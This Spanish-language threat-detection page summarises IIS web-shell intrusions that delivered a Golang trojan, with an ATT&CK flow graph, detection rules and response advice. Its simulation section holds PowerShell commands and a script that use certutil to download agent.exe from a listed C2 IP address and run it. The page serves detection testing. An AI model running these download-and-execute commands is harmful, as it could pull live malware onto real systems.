Prueba, Error y Errores Tipográficos: Por qué Algunos Ataques de Malware no son tan ‘Sofisticados’ como Crees
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo describe tres incidentes separados donde un actor de amenazas utilizó servidores web IIS comprometidos para descargar y ejecutar un troyano basado en Golang (agent.exe) en los puntos finales de las víctimas. Los atacantes intentaron repetidamente la ejecución, usaron certutil para obtener las cargas útiles y luego añadieron exclusiones en Windows Defender antes de intentar establecer persistencia a través de un servicio de Windows. La detección se logró mediante registros de EDR y Sysmon, que capturaron líneas de comando, árboles de procesos y actividad de red. Los ataques ilustran cómo los adversarios se adaptan a los obstáculos defensivos en lugar de seguir un plan perfecto.
Investigación
Los analistas de Huntress examinaron los registros de eventos de Windows, eventos de Sysmon y registros del servidor web IIS para reconstruir la cadena de ataque. Identificaron la ejecución inicial de web-shell a través de w3wp.exe, observaron comandos malformados, repetidos intentos de entrega de carga útil y la creación de un servicio llamado WindowsUpdate que no logró iniciarse. Se recopilaron y correlacionaron múltiples indicadores como rutas de archivos, líneas de comando y conexiones de red a través de los tres incidentes.
Mitigación
Las mitigaciones clave incluyen fortalecer los servidores IIS, restringir la ejecución de web-shell, imponer listas estrictas de aplicaciones permitidas, monitorear el uso anormal de LOLBins como certutil y PowerShell, y asegurar que las exclusiones de Windows Defender no se creen arbitrariamente. También se recomienda el aislamiento rápido de hosts comprometidos y la eliminación de herramientas caídas como GotoHTTP.
Respuesta
Al detectarlo, los respondedores deben aislar el punto final afectado, recopilar registros completos de árboles de procesos y red, eliminar cualquier binario malicioso, revertir las exclusiones no autorizadas de Windows Defender, y verificar los fallos de creación de servicios. Realice una revisión exhaustiva del servidor web en busca de páginas comprometidas y rote todas las credenciales comprometidas.
«graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[«<b>Acción</b> – <b>T1505.004 Componente de Software del Servidor: Componentes IIS</b><br/>Servidor web IIS público explotado, se implementó web shell a través de w3wp.exe»] web_shell[«<b>Malware</b> – <b>Nombre</b>: Web Shell<br/><b>Archivo</b>: login.aspx»] process_w3wp[«<b>Proceso</b> – <b>Nombre</b>: w3wp.exe<br/><b>Propósito</b>: Alojar aplicación web»] execution[«<b>Acción</b> – <b>T1059.003 Shell de Comandos de Windows</b><br/>Comandos ejecutados como whoami, netstat, ipconfig»] powershell_exec[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Técnica</b>: T1059.001»] discovery[«<b>Acción</b> – <b>Técnicas de Descubrimiento</b>»] account_discovery[«<b>Técnica</b> – <b>T1087.001 Cuenta Local</b><br/>Cuentas de usuario locales enumeradas»] group_discovery[«<b>Técnica</b> – <b>T1069.001 Grupos Locales</b><br/>Membresías de grupos locales enumeradas»] network_conn_disc[«<b>Técnica</b> – <b>T1049 Escaneo de Servicios de Red</b><br/>Conexiones de red activas identificadas»] internet_conn_disc[«<b>Técnica</b> – <b>T1016.001 Descubrimiento de Conexión a Internet</b><br/>Conectividad externa verificada»] defense_evasion[«<b>Acción</b> – <b>Técnicas de Evasión de Defensa</b>»] certutil[«<b>Herramienta</b> – <b>Nombre</b>: certutil.exe<br/><b>Técnica</b>: T1218 Ejecución de Proxy de Binario del Sistema»] hide_files[«<b>Técnica</b> – <b>T1564.001 Ocultar Artefactos: Archivos y Directorios Ocultos</b><br/>Atributos de sistema y oculto establecidos»] defender_exclusion[«<b>Técnica</b> – <b>T1562 Deshabilitar Defensas</b> y <b>T1564.012 Exclusiones de Rutas de Archivos</b><br/>Exclusiones añadidas a Windows Defender vía PowerShell»] lateral_transfer[«<b>Acción</b> – <b>T1570 Transferencia Lateral de Herramientas</b><br/>Binarios maliciosos copiados desde servidor externo»] malicious_binaries[«<b>Malware</b> – <b>Archivos</b>: agent.exe, 815.exe, dllhost.exe»] persistence[«<b>Acción</b> – <b>T1546.010 Ejecución Activada por Evento: Servicio de Windows</b><br/>Servicio creado ‘WindowsUpdate’ apuntando a dllhost.exe»] service_creation[«<b>Proceso</b> – <b>Nombre</b>: Servicio de Windows ‘WindowsUpdate'»] final_execution[«<b>Acción</b> – <b>Ejecución Final</b><br/>Servicio iniciado, atacante mantiene control»] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|usa| web_shell web_shell u002du002d>|ejecuta en| process_w3wp process_w3wp u002du002d>|habilita| execution execution u002du002d>|usa| powershell_exec execution u002du002d>|conduce a| discovery discovery u002du002d>|incluye| account_discovery discovery u002du002d>|incluye| group_discovery discovery u002du002d>|incluye| network_conn_disc discovery u002du002d>|incluye| internet_conn_disc discovery u002du002d>|conduce a| defense_evasion defense_evasion u002du002d>|usa| certutil defense_evasion u002du002d>|aplica| hide_files defense_evasion u002du002d>|aplica| defender_exclusion defense_evasion u002du002d>|conduce a| lateral_transfer lateral_transfer u002du002d>|transfiere| malicious_binaries malicious_binaries u002du002d>|habilita| persistence persistence u002du002d>|crea| service_creation service_creation u002du002d>|desencadena| final_execution «
Flujo de Ataque
Detecciones
Atribuir la Ejecución para Ocultar Archivos (a través de líneas de comandos)
Ver
Ejecutable Sospechoso que Contiene Solo Números en el Nombre (a través de líneas de comandos)
Ver
Cambios Sospechosos en Preferencias de Windows Defender (a través de powershell)
Ver
Uso de Certutil para Codificación de Datos y Operaciones de Certificados (a través de líneas de comandos)
Ver
Archivos Sospechosos en Perfil de Usuario Público (a través de evento de archivo)
Ver
Ejecución Sospechosa desde el Perfil de Usuario Público (a través de creación de procesos)
Ver
IOCs (IP de Origen) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
IOCs (HashSha256) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
IOCs (IP de Destino) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
Detección de Solicitudes POST Maliciosas en el Servidor Web [Servidor Web]
Ver
Detectar Ejecución de Línea de Comandos desde el Proceso del Servidor Web [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un atacante que ya ha obtenido ejecución de código en un servidor IIS comprometido utiliza elw3wp.exeproceso (el trabajador de IIS) para ejecutar una serie de proxies binarios firmados. Primero, enumeran el estado del sistema y la red (whoami.exe,netstat -an,ipconfig /all). Luego, utilizancertutil.exepara descargar una carga maliciosa (agent.exe) desde un servidor C2 remoto y ejecutarla inmediatamente en el directorio público del usuario. Todos los comandos se emiten a través decmd.exe /clanzado bajo el contexto dew3wp.exe, asegurando que el evento de creación del proceso cumpla con las condiciones de la regla.# 1. Enumerar información del sistema/usuario Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Descargar carga maliciosa a través de certutil y ejecutarla $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script de Prueba de Regresión: El script a continuación automatiza toda la cadena de ataque, reproduciendo la telemetría exacta que debería activar la regla Sigma.
<# .SINOPSIS Simula actividad de adversarios que activa la regla Sigma "Detectar Ejecución de Línea de Comandos desde Proceso del Servidor Web". .DESCRIPCIÓN Ejecuta una serie de comandos de descubrimiento y descarga y ejecución desde el proceso del trabajador de IIS (w3wp.exe). Se ejecuta en un host de Windows donde la auditoría de creación de procesos (ID de Evento 4688) está habilitada. #> # Función para invocar un comando a través de w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invocando vía w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Comandos de descubrimiento (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Descarga maliciosa y ejecución (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Comandos de Limpieza: Elimina la carga maliciosa descargada y termina cualquier proceso perdido.
# Eliminar el binario malicioso del agente Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Opcionalmente detener el agente si aún está en ejecución Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force